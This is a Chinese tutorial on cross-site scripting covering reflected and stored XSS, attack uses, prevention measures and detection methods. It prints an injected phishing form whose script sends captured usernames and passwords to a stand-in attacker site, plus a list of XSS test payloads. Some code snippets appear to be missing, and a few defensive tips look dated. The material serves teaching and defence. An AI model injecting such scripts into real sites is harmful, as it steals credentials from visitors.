跨站脚本XSS攻击介绍
XSS攻击简介
作为一种HTML注入攻击，XSS攻击的核心思想就是在HTML页面中注入恶意代码，而XSS采用的注入方式是非常巧妙的。
在XSS攻击中，一般有三个角色参与：攻击者、目标服务器、受害者的浏览器。
由于有的服务器并没有对用户的输入进行安全方面的验证，攻击者就可以很容易地通过正常的输入手段，夹带进一些恶意的HTML脚本代码。当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后，由于它对目标服务器的信任，这段恶意脚本的执行不会受到什么阻碍。而此时，攻击者的目的就已经达到了。
下面我们以一段简单的JavaScript脚本为例，来描述整个XSS攻击的过程：
上面这段脚本的执行具体内容就是弹出一个对话框显示用户的Cookie信息。攻击者在向目标服务器的某个页面进行数据输入的过程中，通过正常的输入方式夹带进这段脚本。假如一切正常的时候，生成的页面代码如下形式：
<html> … text //正常输入的数据 … </html>
如果用户的输入为text，而目标服务器又没有对这个输入进行检验的话，则会生成如下形式的页面代码：
<html> … text <script>alert(document.cookie);</script> … </html>
可以看到，这段脚本已经成功嵌入到该页面当中。当受害浏览器访问这个页面的时候，这段脚本也将被认为是页面的一部分，从而得到执行，即弹出对话框显示受害浏览器的Cookie信息。
当然，上面的脚本只是一个简单的例子，只要你愿意，可以尽管注入任意的脚本代码，而这些脚本代码也将能够在受害的浏览器上得到执行。剩下的关键就是如何让更多受害者去浏览这个被注入脚本的页面了，而这方面就属于社会工程学的范畴了，作为一名骇客，坑蒙拐骗的功底还是要有的。
二、XSS攻击的分类
根据XSS脚本注入方式的不同，我们可以对XSS攻击进行简单的分类。其中，最常见的就数反射型XSS和存储型XSS了。
1.反射型XSS
反射型XSS，又称非持久型XSS。之所以称为反射型XSS，则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。而称为非持久型XSS，则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者，当受害者点击该链接时，注入脚本被传输到目标服务器上，然后服务器将注入脚本“反射”到受害者的浏览器上，从而在该浏览器上执行了这段脚本。
比如攻击者将如下链接发送给受害者：
http://www.targetserver.com/search.asp?input=
当受害者点击这个链接的时候，注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中，则在搜索结果的返回页面中，这段脚本将被当作搜索的关键词而嵌入。这样，当用户得到搜索结果页面后，这段脚本也得到了执行。这就是反射型XSS攻击的原理，可以看到，攻击者巧妙地通过反射型XSS的攻击方式，达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面，因此这种攻击方式只在点击链接的时候才产生作用，这也是它被称为非持久型XSS的原因。
2.存储型XSS
存储型XSS，又称持久型XSS，他和反射型XSS最大的不同就是，攻击脚本将被永久地存放在目标服务器的数据库和文件中。这种攻击多见于论坛，攻击者在发帖的过程中，将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来，恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候，恶意脚本则会在他们的浏览器中得到执行，从而受到了攻击。
可以看到，存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面当中，所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接，那么反射型的XSS攻击将没有多大作为，而存储型XSS则不同，由于它注入的往往是一些我们所信任的页面，因此无论我们多么小心，都难免会受到攻击。可以说，存储型XSS更具有隐蔽性，带来的危害也更大，除非服务器能完全阻止注入，否则任何人都很有可能受到攻击。
三、XSS攻击的手段及其危害
由于XSS的隐蔽性及其攻击面的广泛性，使得利用XSS漏洞的各种攻击方式层出不穷，给我们普通的互联网用户带来了很大的危害。根据注入脚本代码的不同，XSS可以引导各种各样的攻击。下面将具体介绍几种目前互联网上常见的XSS攻击手段及其带来的危害。
1.窃取Cookie
通过XSS攻击，由于注入代码是在受害者的浏览器上执行，因此能够很方便地窃取到受害者的Cookie信息。比如，我们只要注入类似如下的代码：
当受害者的浏览器执行这段脚本的时候，就会自动访问攻击者建立的网站www.attackpage.com，打开其中的recourd.asp，将受害者浏览器的Cookie信息给记录下来。这样，攻击者就得到了用户的Cookie信息。
得到受害者的Cookie信息后，攻击者可以很方便地冒充受害者，从而拥有其在目标服务器上的所有权限，相当于受害者的身份认证被窃取了。这样，攻击者可以任意地利用受害者的身份访问服务器上的资源和服务，甚至对受害者和服务器上的数据进行破坏。如果受害者拥有管理员权限，攻击者还可以利用其提升自己账号的权限，从而进行进一步的攻击。
注：Cookie，有时也用其复数形式Cookies，指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据（通常经过加密）
2.引导钓鱼
所谓钓鱼攻击就是构建一个钓鱼页面，诱骗受害者在其中输入一些敏感信息，然后将其发送给攻击者。利用XSS的注入脚本，我们也可以很方便地注入钓鱼页面的代码，从而引导钓鱼攻击。比如下面这样一段代码：
<script>
function hack()
{
location.replace(“http://www.attackpage.com/record.asp?username=“
+document.forms[0].user.value + “password=” + document.forms[0].pass.value);
}
</script>
<form>
<br><br><HR><H3>这个功能需要登录:</H3 >
<br><br>请输入用户名：<br>
<input type=”text” id=”user”name=”user”>
<br>请输入密码：<br>
<input type=”password” name =“pass”>
<br><input type=”submit”name=”login” value=”登录”οnclick=”hack()”>
</form><br><br><HR>
注入上面的代码后，则会在原来的页面上，插入一段表单，要求用户输入自己的用户名和密码，而当用户点击“登录”按钮后，则会执行hack()函数，将用户的输入发送到攻击者指定的网站上去。这样，攻击者就成功窃取了该用户的账号信息。可以看到，和一般的钓鱼攻击不同，XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改，因此隐蔽性很高，而用户的账号失窃往往会带来重大的损失，因此它的危害也是十分巨大的。
3.跨站请求伪造
跨站请求伪造（Cross-SiteRequest Forgery，CSRF），作为OWASP组织的2007年提出十大安全漏洞第五，它也属于XSS攻击的一种衍生。所谓跨站请求伪造，就是攻击者利用XSS注入攻击的方式，注入一段脚本，而当受害者的浏览器运行这段脚本时，脚本伪造受害者发送了一个合法请求。比如我们注入如下的HTML代码：
假如上面的代码中所访问的是某个银行网站的转账服务，则当受害者的浏览器运行这段脚本时，就会向攻击者指定的账户（示例的123456）执行转账操作。由于这个转账请求是在受害者的浏览器中运行的，因此浏览器也会自动将受害者的Cookie信息一并发送。这样，发送的请求就好像是受害者自己发送的一样，银行网站也将认可这个请求的合法性，攻击者也就达到了伪造请求的目的。
4.注入恶意软件
除了直接注入恶意脚本以外，通过XSS攻击，攻击者也可以很方便地在脚本中引入一些恶意软件，比如病毒、木马、蠕虫等等。例如，攻击者可以在某个自己建立的页面上放置一些恶意软件，然后用XSS注入的方式，插入一段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候，就会自动访问放置了恶意软件的页面，从而受到这些恶意软件的感染。
利用XSS注入恶意软件的方式，攻击者可以很方便地在互联网上传播病毒、木马和蠕虫，通过这种途径，攻击者就可以通过这些病毒、木马和蠕虫，进一步地对受害者的主机发动攻击。目前，互联网上的“挂马”现象非常普遍，而XSS注入的出现也无疑给“挂马”的攻击者指明了又一个新的方向。通过传播这些木马，窃取合法用户的敏感信息，不少非法攻击者也逐渐将这一过程产业化，经常可以见到以信封方式批量兜售账号密码的现象。这也给许多正常的网络用户造成了许多无法挽回的巨大损失，造成的危害也很大。
四、XSS的预防
在前面的文章中，我们具体介绍了各种XSS攻击的原理和方式。可以看出，XSS是一种覆盖面很广，隐蔽性很高，危害也非常大的网络应用安全漏洞。除非网站服务器完全不存在XSS漏洞，否则就会给攻击者们留下空子。因此，如何在Web应用程序的开发过程中对XSS漏洞进行预防，是所有网站开发人员所必须注意的重中之重。下面我们介绍几种常用的XSS预防措施。
1. 输入检测
对用户的所有输入数据进行检测，比如过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符，或者过滤“script”、“javascript”等脚本关键字，或者对输入数据的长度进行限制等等。同时，我们也要考虑用户可能绕开ASCII码，使用十六进行编码如“<</span>”（“<”）、“>”（“>”）等来输入脚本。因此，对用户输入的十六进制编码，我们也要进行相应的过滤。只要开发人员能够严格检测每一处交互点，保证对所有用户可能的输入都进行检测和XSS过滤，就能够有效地阻止XSS攻击。
2. 输出编码
通过前面对XSS攻击的分析，我们可以看到，之所以会产生XSS攻击，就是因为Web应用程序将用户的输入直接嵌入到某个页面当中，作为该页面的HTML代码的一部分。因此，当Web应用程序将用户的输入数据输出到目标页面中时，只要用HtmlEncoder等工具先对这些数据进行编码，然后再输出到目标页面中。这样，如果用户输入一些HTML的脚本，也会被当成普通的文字，而不会成为目标页面HTML代码的一部分得到执行。
3. Cookie防盗
利用XSS攻击，攻击者可以很方便地窃取到合法用户的Cookie信息。因此，对于网站来说，不能在Cookie信息中存放太多敏感信息，也不能将Cookie作为身份认证的唯一标识，等等。因此，对于Cookie，我们可以采取以下的措施。首先，我们要尽可能地避免在Cookie中泄露隐私，如用户名、密码等；其次，我们可以将Cookie信息用MD5等Hash算法进行多次散列后存放；再次，为了防止重放攻击，我们也可以将Cookie和IP进行绑定，这样也可以阻止攻击者冒充正常用户的身份。
4. 严格限制URL访问
攻击者使用XSS攻击，通常都要借助于自己指定的网站页面，比如用它来记录敏感信息、在该页面上“挂马”等等。因此，在页面的脚本代码执行过程中，只要我们严格限制其访问的URL，比如只允许脚本代码访问本网站的URL等方式，就可以避免脚本的执行链接到其它可能是攻击者指定的页面上。
5. 用户注意事项
作为一名普通的网络用户，在XSS攻击的预防上总体处在被动的地位。但是我们也可以通过采取一些措施来尽可能地避免受到XSS攻击。首先，我们不要轻易相信电子邮件或者网页中的不明链接，这些链接很有可能引导反射型XSS攻击或者使我们访问到一些不安全的网页。其次，我们在不必要的时候可以禁用脚本功能，这样XSS注入的脚本就无法得到运行。再次，我们也可以使用一些安全的浏览器上网，有的浏览器提供XSS过滤功能，会提示页面中可能发生的XSS注入并将其阻挡下来。
五、XSS的漏洞检测
1. 黑盒测试
所谓黑盒测试，就是在不知道系统的代码和运行状态的条件下，对系统进行的测试。在对XSS漏洞的检测中，我们可以模拟黑客的攻击手段，在所有可能的数据输入接口处，尝试进行一些XSS注入。通过观察注入后的引用这些数据的页面，看其是否出现被注入的现象，即可确实是否存在XSS漏洞。比如我们可以用下面所列的一些脚本来尝试XSS注入：
><script>alert(document.cookie)</script> =’><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> <script>alert(’XSS’)</script> <img src=”javascript:alert(’XSS’)”> <img src=”http://xxx.com/yyy.png” οnerrοr=”alert(’XSS’)”> <div style=”height:expression_r(alert(’XSS’),1)” />（这个仅限 IE 有效）
如果在打开那些引用了该输入数据的页面时，弹出对话框显示信息，则可以确定该数据输入时有可能导致XSS注入，从而确定了XSS漏洞的位置。
2. 静态分析
XSS漏洞静态分析方法属于白盒测试方法的一种，它通过对Web应用的代码进行分析，从而发现其中可能存在的问题。通常来说，静态分析技术只是对代码进行一些简单的扫描，找到其中有可能导致XSS注入的地方，将其报告给我们。
比如在Web应用的代码中可能存在一些读入数据的API，如Request.QueryString()，$_GET等，如果存在这些API，则表示可能引入XSS的注入。通过静态分析工具，我们可以很容易发现所有这些读入数据的API，从而详细检查每一个数据输入点是否进行了XSS注入的过滤。可以看到，静态分析的方法，只是帮助我们定位XSS漏洞的可能位置，由于静态分析工具难以判定是否对输入数据进行过XSS过滤，因此还是需要我们手动地进行检查，从而确保不存在XSS漏洞。
3. 数据流分析
XSS漏洞之所以产生，根本原因在于不安全的数据流，使得用户的输入数据被直接嵌入到某些页面中。比如PHP中的echo语句，就能够将一些数据直接添加为HTML页面的一部分，如果这个数据是用户注入了XSS脚本的数据，则会导致产生XSS攻击。因此，数据流分析的主要思想就是使用一些模型或者工具，分析Web应用程序代码中的数据传输情况，从而发现其中存在的问题。比如，我们可以将用户的输入数据所存储的变量打上污点标记，通过对数据流和变量类型的分析，逐步标记所有引用了污点变量的中间变量，最后通过观察输出到页面中的变量数据是否存在污点，来判断是否可能产生XSS漏洞。
本页共106段，7194个字符，16799 Byte(字节)